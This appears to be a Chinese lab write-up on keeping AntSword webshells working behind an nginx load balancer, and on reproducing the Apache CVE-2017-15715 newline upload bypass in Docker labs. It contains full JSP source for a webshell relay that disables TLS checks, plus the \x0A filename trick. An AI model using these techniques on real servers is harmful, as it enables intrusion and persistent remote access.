nginx负载均衡
所谓负载均衡,就是 Nginx 把请求均匀的分摊给上游的应用服务器,这样即使某一个服务器宕机也不会影响请求的处理,或者当应用服务器扛不住了,可以随时进行扩容,反向代理方式其中比较流行的方式是用 nginx 来做负载均衡,以下是几种nginx 支持的几种策略
本次实验以默认的轮询方式来做演示。
配置环境
在GitHub上面下载蚁剑
https://github.com/AntSwordProject/AntSword-Labs
download zip然后上传到你的虚拟机
安装docker
curl -s https://get.docker.com/ | sh
然后安装docker-compose
curl -L https://get.daocloud.io/docker/compose/releases/download/1.25.4/docker-compose-`uname -s`-`uname -m` > /usr/local/bin/docker-compose
给docker-compose权限
chmod +x /usr/local/bin/docker-compose
查看版本号
docker-compose version
启动docker
cd /ant/loadbalance/loadbalance-jsp
docker-compose up -d
用docker ps -a查看端口号
像这样就是环境配置好了的结果
现在整体的结构图如下,Node1 和 Node2 均是 tomcat 8 ,在内网中开放了 8080 端口,我们在外部是没法直接访问到的。
进入node虚拟机内(有Nginx后标的那个node)
docker exec -it c48073869bac /bin/bash
这上面的就是这台虚拟机Nginx的配置
尝试用蚁剑添加shell
负载均衡下webshell上传的难点
难点一:需要在每一台节点的相同位置上传相同内容的webshell
我们需要在每一台节点的相同位置都上传相同内容的 WebShell一旦有一台机器上没有,那么在请求轮到这台机器上的时候,就会出现 404 错误,影响使用
难点二、无法预测下次的请求交给哪台机器去执行
我们执行 ifconfig 查看当前执行机器的 ip 时,可以看到一直在飘,因为我们用的是轮询的方式,还算能确定,一旦涉及了权重等其它指标,舒服得嘞~
难点三:当我们需要上传一些工具时,麻烦来了:
由于 antSword 上传文件时,采用的分片上传方式,把一个文件分成了多次HTTP请求发送给了目标,所以尴尬的事情来了,两台节点上,各一半,而且这一半到底是怎么组合的,取决于 LBS 算法
难点四:目标机器不能出外网:
由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。
解决方案
方法一:关机/停服
关掉其中一台机器,这种方法不推荐。这种方法会极大影响业务,有可能造成公司的财产损失,不建议尝试,测试除外。
方法二:判断是否执行
我们既然无法预测下一次是哪台机器去执行,那我们的 Shell 在执行 Payload 之前,先判断一下要不要执行:
MYIP=`ifconfig | grep "inet 172" | awk '{print $2}'`
echo $MYIP
这样一来,就能够保证执行的命令是在我们想要的机器上了。(也可以用蚁剑来测试,创建一个shell脚本,但是你需要在你的node上安装很多工具,我在安装过程中出现了问题就放弃这个方法了但是shell脚本如下)
MYIP=`ifconfig | grep "inet 172" | awk '{print $2}'`
if [$MYIP == "172.19.0.2" ]; then
echo "Node1. I will execute command.\n=======\n"
ifconfig
else
echo "Other. Try again."
fi
效果图就用老师课件的来展示(但是蚁剑会出现一些莫名的问题,所以测试时要注意)
方法三: 在Web 层做一次 HTTP 流量转发(重点)
没错,我们用 AntSword 没法直接访问 LBSNode1 内网IP(172.23.0.2)的 8080 端口,但是有人能访问呀,除了 nginx 能访问之外,LBSNode2 这台机器也是可以访问 Node1 这台机器的 8080 端口的。
我们通过Nginx直接访问node1,然后把请求发给node2,node2 上面的 /antproxy.jsp 把请求重组之后,传给了 node1 的 /ant.jsp
重新添加数据,以/antproxy.jsp为url
这个是/antproxy.jsp的代码,我在蚁剑上面创建了几十次,/antproxy.jsp才创建出来,删除数据又重新添加来来回回也十多次,所以测试的时候请耐心一点,多保存,创建几次。(这蚁剑真的有时候让人很崩溃!!!!!)
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
public static void ignoreSsl() throws Exception {
HostnameVerifier hv = new HostnameVerifier() {
public boolean verify(String urlHostName, SSLSession session) {
return true;
}
};
trustAllHttpsCertificates();
HttpsURLConnection.setDefaultHostnameVerifier(hv);
}
private static void trustAllHttpsCertificates() throws Exception {
TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
return null;
}
@Override
public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
@Override
public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
} };
try {
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
} catch (KeyManagementException e) {
e.printStackTrace();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
}
%>
<%
String target = "http://172.19.0.2:8080/ant.jsp";
URL url = new URL(target);
if ("https".equalsIgnoreCase(url.getProtocol())) {
ignoreSsl();
}
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
StringBuilder sb = new StringBuilder();
conn.setRequestMethod(request.getMethod());
conn.setConnectTimeout(30000);
conn.setDoOutput(true);
conn.setDoInput(true);
conn.setInstanceFollowRedirects(false);
conn.connect();
ByteArrayOutputStream baos=new ByteArrayOutputStream();
OutputStream out2 = conn.getOutputStream();
DataInputStream in=new DataInputStream(request.getInputStream());
byte[] buf = new byte[1024];
int len = 0;
while ((len = in.read(buf)) != -1) {
baos.write(buf, 0, len);
}
baos.flush();
baos.writeTo(out2);
baos.close();
InputStream inputStream = conn.getInputStream();
OutputStream out3=response.getOutputStream();
int len2 = 0;
while ((len2 = inputStream.read(buf)) != -1) {
out3.write(buf, 0, len2);
}
out3.flush();
out3.close();
%>
执行命令,查看ip
优点:
1.低权限就可以完成,如果权限高的话,还可以通过端口层面直接转发,不过这跟 方法一 的关服务就没啥区别了
2.流量上,只影响访问 WebShell 的请求,其它的正常业务请求不会影响。
3.适配更多工具
缺点:
该方案需要 Node1和 Node2 之间内网互通,如果不互通就不行。
Apache换行解析漏洞(CVE-2017-15715)
Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
cd /vulhub/httpd/CVE-2017-15715
docker-compose build
docker-compose up -d
得到如下结果,如果链接超时可能是8080端口没打开(8080没打开就按以下步骤)
systemctl start firewalld 打开防火墙
systemctl status firewalld 查看防火墙状态
firewall-cmd --zone=public --add-port=80/tcp --permanent 防火墙开启80端口
命令含义:--zone #作用域 --add-port=80/tcp #添加端口,格式为:端口/通讯协议 --permanent #永久生效,没有此参数重启后失效
firewall-cmd --reload 重启防火墙(开启后需要重启防火墙才生效)
firewall-cmd --list-ports 查看所有开启的端口
随便上传一个文件看看情况
抓包
上传一个1.php的文件,被拦截
在1.php后面插入一个\x0A(注意,不能是\x0D\x0A,只能是一个\x0A),不再拦截